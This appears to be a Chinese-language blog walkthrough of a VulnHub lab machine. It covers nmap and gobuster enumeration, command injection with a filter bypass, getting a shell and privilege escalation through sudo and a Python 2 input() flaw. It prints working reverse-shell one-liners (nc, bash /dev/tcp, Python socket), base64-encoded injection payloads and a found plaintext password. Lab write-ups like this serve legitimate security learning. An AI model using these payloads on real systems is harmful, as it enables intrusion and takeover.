難度:中等
靶機發布日期:2019年11月18日
靶機描述:Level: Beginner-Intermediate
flags: user.txt and root.txt
Description: The machine is VirtualBox as well asVMWare compatible. The DHCP will assign an IPautomatically. You’ll see the IP right on the loginscreen. You have to find and read two flags (user androot) which is present in user.txt and root.txtrespectively.
Format: Virtual Machine (Virtualbox - OVA)
Operating System: Linux
博客中如有任何問題,懇請批評指正,萬分感謝。個人郵箱:[email protected]
工具、知識點和漏洞
- nmap
- burpsuite
- gobuster
- uncompyle2
- 命令注入
- Python input() 漏洞
0x00、信息收集
靶機IP:192.168.56.109
nmap -sn 192.168.56.0/24
端口和服務
nmap -sS -sV -T5 -A -p- 192.168.0.109
匿名賬戶登錄ftp下載並查看三個txt,得到一組用戶名密碼、提示1337端口有個遊戲以及一個可能是用戶名的nitish81299
1337端口跑的是個啥呢?先開始用瀏覽器訪問了一下,連接被重置了。隨後telnet訪問了一下
從圖中可以看出,是做一些加減乘除的運算,還必須得做完1000次,貌似需要我們寫個腳本,所以先放一放~
nmap掃描之後發現7331
端口跑的是HTTP服務,所以對它進行頁面、目錄枚舉
gobuster dir -u http://192.168.56.109:7331/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
枚舉結果
- /wish (Status: 200)
- /genie (Status: 200)
訪問http://192.168.56.109:7331/wish
,輸入了id
,提交之後執行了id
命令。所以這裏存在系統命令命令注入
0x01、getshell
ifconfig命令查看kali的IP爲192.168.56.104
msfconsole做好接收反彈的shell的準備
msfconsole
use exploit/multi/handler
set payload cmd/unix/reverse_bash
set lhost 192.168.56.104
set lport 1234
exploit
nc -e /bin/bash 192.168.56.104 1234
反彈shell,結果提示:Wrong choice of words
爲方便測試我們使用burpsuite進行bypass測試。
- Github:PayloadsAllTheThings
- 先知社區:Bypass一些命令注入限制的姿勢
命令注入的過濾一般是對一些特定字符或者關鍵字進行過濾
cmd=ls
--> 可執行
cmd=ls -lah
--> 可執行
=> 說明空格沒有被過濾
cmd=whoami
--> 無法執行
cmd=w\ho\am\i
--> 可執行
=> 說明過濾了某些關鍵字
cmd=uname -a
--> 可執行
發現靶機是Ubuntu系統,所以後續reverse shell的時候不打算使用nc
了
cmd=echo w\ho\am\i
--> 可執行
echo
可以被執行,那就試試base64編碼吧。編碼bash -i >& /dev/tcp/192.168.56.104/1234 0>&1
或者編碼python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.104",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
可以看到編碼python版本的reverse shell有效
嘗試bash reverse shell
編碼cat /etc/passwd
,嘗試讀取文件內容
cmd=echo Y2F0IC9ldGMvcGFzc3dk | base64 -d
結果:http://192.168.56.101:7331/genie?name=cat+%2Fetc%2Fpasswd
cmd=echo Y2F0IC9ldGMvcGFzc3dk | base64 -d| bash
結果:成功讀取內容
cmd=echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvMTIzNCAwPiYx | base64 -d| bash
結果:http://192.168.56.109:7331/genie?name=
,沒有反彈shell。
按理來應該是能夠反彈shell的,可是爲啥沒有反彈呢?隨後我直接到網頁上執行了相同的命令,結果就成功反彈shell了。
之後猜測可能是burpsuite環境與瀏覽器環境之間存在url編碼差異的原因,於是我對整個payload進行了url encode
,然後在burpsuite上執行,reverse shell成功
之後羣裏有個表哥告訴我,說只需要對空格
和加號
進行url編碼,而不需要對整個payload進行編碼
cmd=echo%20YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvMTIzNCAwPiYx%20| base64%20-d|%20bash
下面是對空格和加號進行url編碼之後再url解碼的截圖,可以看到解碼之後payload並沒有改變。
獲取shell之後要做的第一件事是使用Python獲取一個tty,不然有些命令是無法執行的,這一步很關鍵。
python -c 'import pty; pty.spawn("/bin/bash")' # 有些沒有安裝Python2,所以需要換成python3 -c
如果你想使用clear
清屏,那麼只需要給TERM這個環境變量賦值screen即可
export TERM=screen # 賦值xterm也可以
0x02、權限提升
--------------------------------------------------------------Begin 套話分割線 Begin--------------------------------------------------------------
關於Linux提權,可以直接用腳本蒐集一下對於提權有用的信息,比如用linuxprivchecker.py、LinEnum.sh.
如果你想熟悉一下沒有腳本的情況下怎麼收集這些信息可以參考privilege_escalation_-_linux
先在kali上開啓HTTP服務
python -m SimpleHTTPServer 65534
使用wget下載linuxprivchecker.py腳本到靶機的tmp目錄
因爲本人所在的地理位置不允許直接訪問Github,所以我是從自己的kali下載的
cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py
爲了便於查看收集到的信息,我將結果輸出到report.txt文本中,之後使用less查看
python linuxprivchecker.py > report.txt
less report.txt
靶機做了這些後發現還是手動收集更快……,手動收集不到有效信息的情況下再嘗試用腳本。
-------------------------------------------------------------- End 套話分割線 End --------------------------------------------------------------
獲取user的flag
讀取/etc/passwd發現有兩個用戶sam
和nitish
在/home/nitish
目錄下發現user.txt
,但是www-data
無權限讀取;sam的用戶目錄也無權限查看。於是我返回到/opt/80
目錄,這裏可能有一些線索。
讀取app.py
的內容,在裏面發現了過濾cmd
的實現方法以及一個可能是線索的文件/home/nitish/.dev/creds.txt
在這個文件裏面我們發現了nitish
用戶的密碼:nitish:p4ssw0rdStr3r0n9
,隨後切換至該用戶並獲得該用戶的flag
獲取root的flag
查找sudo權限命令
sudo -l
之後查看了一下使用說明,發現可以通過這個可執行文件得到一個shell,那麼現在的問題就是應該輸入什麼樣的參數才能獲得sam
用戶的shell?
隨後使用strings
命令簡單看了一下這個可執行文件,但好像也沒有什麼特別明確的東西。
再用man /usr/bin/genie
查看一下使用幫助
man是manual的縮寫,man命令用來提供在線幫助,通過man命令可以查看Linux中的命令幫助、配置文件幫助、編程幫助等信息。
genie可以完成你所有的願望,甚至可以提升你的權限。
我執行了sudo -u sam /usr/bin/genie -p "/bin/sh"
,然而並沒有得到sam
的shell。隨後執行了sudo -u sam /usr/bin/genie -cmd whoami
得到了sam
權限。
再次執行sudo -l
,得到如下結果:
執行sudo /root/lago
之後,大兄弟表示很是懵~
隨後嘗試讀取兩個用戶的.bash_history
,結果都是沒有權限……開啥玩笑呢
之後我用find / -writable -type f 2>/dev/null
查找了一下可寫文件,結果發現了一個/home/sam/.pyc
,雖然之前也看到過,但那時候並沒有引起我的注意,接着讀取了一下文件的內容。
從上圖看其實有點懵,我把主要的東西粘貼出來,你再看看。
Working on it!!
Choose a number between 1 to 100: sEnter your number:
Better Luck next time
Enter the full of the file to read: s!User %s is not allowed to read
What do you want to do ?
Be naughty
Guess the number
Read some damn file
Enter your choice:
work your ass off!!
這些話你之前是不是都看到過?對,就是在/root/lago
這個可執行文件裏面看到過。也就是說/root/lago
的源碼是Python,你看/home/sam/.pyc
裏面也有這樣的描述/home/mzfr/scripts/exp.py
。
pyc是一種二進制文件,是由Python文件經過編譯後所生成的文件,它是一種byte code,Python文件變成pyc文件後,加載的速度有所提高,而且pyc還是一種跨平臺的字節碼,由Python的虛擬機來執行的,就類似於Java或者.NET的虛擬機的概念。pyc的內容與Python的版本是相關的,不同版本編譯後的pyc文件是不同的,例如2.5版本編譯的是pyc文件,而2.4版本編譯的Python是無法執行的
所以能不能把.pyc
反編譯成.py
?先把這個文件傳到本地
隨後我們用uncompyle2
反編譯.pyc
這個需要自己到Github下載
有了源碼就好辦了,雖然對Python語言自身的漏洞沒什麼瞭解,但畢竟可以搜索嘛。讀了一下源碼,發現可供利用的也只有guessit()
這個方法了。
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
先在某度進行了一番搜索之後,沒有找到想要的東西。之後用Google搜索python input() vulnerability
,找到這篇文章:vulnerability-input-function-python-2-x,強烈建議你看一下
我把關鍵地方截了個圖
根據這個漏洞,結合上面的代碼,我們只需要輸入num
,就可以得到root權限的shell了
新的一個月,祝各位早日迎娶白富美。哈哈哈
如果你有其他的方法,歡迎留言。要是有寫錯了的地方,請你一定要告訴我。要是你覺得這篇博客寫的還不錯,歡迎分享給身邊的人。更多VulnHub靶機的Walkthrough,請訪問本人博客(https://blog.csdn.net/weixin_44214107)。歡迎掃描下方個人微信二維碼與我交流。我是ins1ght.